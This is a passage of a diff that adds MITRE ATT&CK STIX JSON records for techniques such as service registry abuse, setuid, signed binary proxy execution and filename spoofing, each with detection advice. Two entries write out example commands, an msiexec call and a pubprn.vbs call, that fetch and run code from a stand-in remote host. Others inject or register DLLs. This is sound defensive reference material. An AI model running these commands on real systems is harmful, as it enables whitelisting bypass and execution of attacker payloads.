"OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017." + }, + { + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b", + "name": "Securityd Memory", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", + "x_mitre_permissions_required": [ + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1035", + "source_name": "mitre-attack", + "external_id": "T1035" + } + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "name": "Service Execution", + "created": "2017-05-31T21:30:36.550Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1058", + "source_name": "mitre-attack", + "external_id": "T1058" + }, + { + "url": "https://capec.mitre.org/data/definitions/203.html", + "source_name": "capec", + "external_id": "CAPEC-203" + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx", + "source_name": "MSDN Registry Key Security", + "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017." + }, + { + "url": "https://twitter.com/r0wdy_/status/936365549553991680", + "source_name": "Twitter Service Recovery Nov 2017", + "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Services", + "Windows Registry" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)", + "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "name": "Service Registry Permissions Weakness", + "created": "2017-05-31T21:30:49.119Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_system_requirements": [ + "Ability to modify service values in the Registry" + ] + }, + { + "external_references": [ + { + "external_id": "T1489", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1489" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016." + }, + { + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis", + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Windows Registry", + "API monitoring" + ], + "modified": "2019-04-29T13:55:03.017Z", + "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor Registry edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "name": "Service Stop", + "created": "2019-03-29T19:00:55.901Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1166", + "source_name": "mitre-attack", + "external_id": "T1166" + }, + { + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017." + }, + { + "url": "http://man7.org/linux/man-pages/man2/setuid.2.html", + "source_name": "setuid man page", + "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "name": "Setuid and Setgid", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", + "x_mitre_effective_permissions": [ + "Administrator", + "root" + ], + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1051", + "source_name": "mitre-attack", + "external_id": "T1051" + }, + { + "url": "https://capec.mitre.org/data/definitions/563.html", + "source_name": "capec", + "external_id": "CAPEC-563" + }, + { + "source_name": "Microsoft Web Root OCT 2016", + "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018." + }, + { + "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content", + "source_name": "Apache Server 2018", + "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018." + }, + { + "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/", + "source_name": "Webroot PHP 2011", + "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Shared webroot directory on remote system" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "name": "Shared Webroot", + "created": "2017-05-31T21:30:46.047Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1023", + "source_name": "mitre-attack", + "external_id": "T1023" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "name": "Shortcut Modification", + "created": "2017-05-31T21:30:30.757Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218", + "source_name": "mitre-attack", + "external_id": "T1218" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", + "source_name": "LOLBAS Msiexec", + "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", + "source_name": "TrendMicro Msiexec Feb 2018", + "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019." + }, + { + "url": "https://twitter.com/gn3mes1s/status/941315826107510784", + "source_name": "Twitter gN3mes1s Status Update MavInject32", + "description": "Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved April 10, 2018." + }, + { + "url": "https://twitter.com/monoxgas/status/895045566090010624", + "source_name": "Twitter monoxgas Status Update SyncAppvPublishingServer", + "description": "Landers, N. (2017, August 8). monoxgas Status Update. Retrieved April 10, 2018." + }, + { + "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017", + "source_name": "Microsoft odbcconf.exe", + "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019." + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "source_name": "LOLBAS Odbcconf", + "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", + "source_name": "TrendMicro Squiblydoo Aug 2017", + "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019." + }, + { + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Nishan Maharjan, @loki248", + "Hans Christoffer Gaardl\u00f8s", + "Praetorian" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-25T13:28:31.935Z", + "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "name": "Signed Binary Proxy Execution", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "2.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n### Msiexec.exe\nMsiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)\n\n* msiexec.exe /q /i \"C:\\path\\to\\file.msi\"\n* msiexec.exe /q /i http[:]//site[.]com/file.msi\n* msiexec.exe /y \"C:\\path\\to\\file.dll\"\n\n### Mavinject.exe\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n* \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" <PID> /INJECTRUNNING <PATH DLL>\n* C:\\Windows\\system32\\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>\n\n### SyncAppvPublishingServer.exe\nSyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\n### Odbcconf.exe\nOdbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)\n\n* odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}\n\nSeveral other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1216", + "source_name": "mitre-attack", + "external_id": "T1216" + }, + { + "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", + "source_name": "Enigma0x3 PubPrn Bypass", + "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018." + }, + { + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "name": "Signed Script Proxy Execution", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1045", + "source_name": "mitre-attack", + "external_id": "T1045" + }, + { + "url": "https://capec.mitre.org/data/definitions/570.html", + "source_name": "capec", + "external_id": "CAPEC-570" + }, + { + "url": "http://en.wikipedia.org/wiki/Executable_compression", + "source_name": "Wikipedia Exe Compression", + "description": "Executable compression. (n.d.). Retrieved December 4, 2014." + } + ], + "x_mitre_data_sources": [ + "Binary file metadata" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "name": "Software Packing", + "created": "2017-05-31T21:30:43.472Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Anti-virus", + "Heuristic detection" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1153", + "source_name": "mitre-attack", + "external_id": "T1153" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", + "name": "Source", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1151", + "source_name": "mitre-attack", + "external_id": "T1151" + }, + { + "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", + "source_name": "Mac Backdoors are back", + "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Erye Hernandez, Palo Alto Networks" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "name": "Space after Filename", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1193", + "source_name": "mitre-attack", + "external_id": "T1193" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + 